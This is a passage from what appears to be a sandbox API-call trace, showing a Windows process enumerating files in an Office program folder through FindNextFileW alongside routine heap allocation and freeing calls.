(HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.309] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3d5cf00, ftCreationTime.dwHighDateTime=0x1ca982d, ftLastAccessTime.dwLowDateTime=0x51741df0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3d5cf00, ftLastWriteTime.dwHighDateTime=0x1ca982d, nFileSizeHigh=0x0, nFileSizeLow=0x223998, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUDIOSEARCHSAPIFE.DLL", cAlternateFileName="")) returned 1 [0069.309] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.309] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.309] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.309] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.309] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.309] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.309] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b828500, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b828500, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x10d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTHZAX.DLL", cAlternateFileName="")) returned 1 [0069.309] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.309] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.309] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.309] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.309] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.310] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.310] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0xc380, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSAutogen.dll", cAlternateFileName="")) returned 1 [0069.310] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.310] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.310] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.310] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.310] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.310] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.310] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x9b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSClient.Msg.dll", cAlternateFileName="")) returned 1 [0069.310] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.310] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.310] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.310] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.310] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.310] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.310] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1067d600, ftCreationTime.dwHighDateTime=0x1cac1f1, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1067d600, ftLastWriteTime.dwHighDateTime=0x1cac1f1, nFileSizeHigh=0x0, nFileSizeLow=0x6886, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSClientManifest.man", cAlternateFileName="")) returned 1 [0069.310] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.310] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.310] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.311] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.311] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.311] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83a78 [0069.311] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5610) returned 1 [0069.311] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f9b0 [0069.311] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1053ab8 [0069.311] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.311] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd44f00, ftCreationTime.dwHighDateTime=0x1cac1f1, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcd44f00, ftLastWriteTime.dwHighDateTime=0x1cac1f1, nFileSizeHigh=0x0, nFileSizeLow=0x8d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSEvents.man", cAlternateFileName="")) returned 1 [0069.311] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.311] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.311] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.311] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.311] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.311] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f9d0 [0069.311] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1029650 [0069.311] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.311] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c6a8100, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x67a61010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c6a8100, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x11380, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSLaunch.dll", cAlternateFileName="")) returned 1 [0069.311] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.311] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.311] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.312] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.312] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.312] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.312] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4052c000, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x575e0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4052c000, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x21980, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSProxy.dll", cAlternateFileName="")) returned 1 [0069.312] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.312] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.312] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.312] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.312] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.312] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.312] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4183ed00, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x568a2e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4183ed00, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x95d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSRuntime.dll", cAlternateFileName="")) returned 1 [0069.312] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.312] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.312] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.312] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.312] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.312] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.312] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x67a3aeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x3780, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSRuntimeUI.dll", cAlternateFileName="")) returned 1 [0069.312] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.313] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.313] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.313] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.313] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.313] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.313] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4183ed00, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x6b22b3b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4183ed00, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x28f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSStr32.dll", cAlternateFileName="")) returned 1 [0069.313] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.313] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.313] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.313] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.313] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.313] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.313] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4183ed00, ftCreationTime.dwHighDateTime=0x1cac269, ftLastAccessTime.dwLowDateTime=0x5812f0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4183ed00, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x1b780, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSSync.exe", cAlternateFileName="")) returned 1 [0069.313] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.313] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.313] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.313] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.313] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.313] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.313] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x457bf900, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0x5f61e9b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x457bf900, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x65ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="bdcmetadata.xsd", cAlternateFileName="")) returned 1 [0069.314] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.314] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.314] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.314] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.314] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.314] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x100f9f0 [0069.314] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10296d8 [0069.314] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.314] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x457bf900, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0x5197d290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x457bf900, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x3321, dwReserved0=0x0, dwReserved1=0x0, cFileName="bdcmetadataresource.xsd", cAlternateFileName="")) returned 1 [0069.314] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.314] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.314] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.314] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f409670, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bibliography", cAlternateFileName="")) returned 1 [0069.314] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b4ce70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BORDERS", cAlternateFileName="")) returned 1 [0069.314] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ee75d00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd248dbc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1ee75d00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x2d998, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRTVIEW.DLL", cAlternateFileName="")) returned 1 [0069.314] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.314] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xcf8844c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xe7380, dwReserved0=0x0, dwReserved1=0x0, cFileName="BSTORM.DLL", cAlternateFileName="")) returned 1 [0069.314] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.314] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x500f7b00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd83c4bc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x500f7b00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x81d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="CDLMSO.DLL", cAlternateFileName="")) returned 1 [0069.314] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.314] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x7b09, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.HLP", cAlternateFileName="")) returned 1 [0069.315] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.315] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44f4800, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44f4800, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0xdcc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CharSetTable.chr", cAlternateFileName="")) returned 1 [0069.315] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.315] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22bf4c00, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xcf0edea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x22bf4c00, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x41f78, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLVIEW.EXE", cAlternateFileName="")) returned 1 [0069.315] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.315] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2149b700, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd24d9e80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2149b700, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xb0578, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMAX20.DLL", cAlternateFileName="")) returned 1 [0069.315] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.315] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x37160, dwReserved0=0x0, dwReserved1=0x0, cFileName="CNFNOT32.EXE", cAlternateFileName="")) returned 1 [0069.315] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.315] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd24fffe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xcf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="CODEEDIT.DLL", cAlternateFileName="")) returned 1 [0069.315] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.315] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x337e5b00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x6048cf10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x337e5b00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x2cb78, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTAB32.DLL", cAlternateFileName="")) returned 1 [0069.315] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.315] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6471c400, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x604b3070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6471c400, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x36580, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContactPicker.dll", cAlternateFileName="")) returned 1 [0069.315] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.315] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONVERT", cAlternateFileName="")) returned 1 [0069.315] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18a49800, ftCreationTime.dwHighDateTime=0x1cbae39, ftLastAccessTime.dwLowDateTime=0xa2045a20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x18a49800, ftLastWriteTime.dwHighDateTime=0x1cbae39, nFileSizeHigh=0x0, nFileSizeLow=0x911b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSS7DATA0009.DLL", cAlternateFileName="")) returned 1 [0069.315] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.315] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d4df100, ftCreationTime.dwHighDateTime=0x1cba07f, 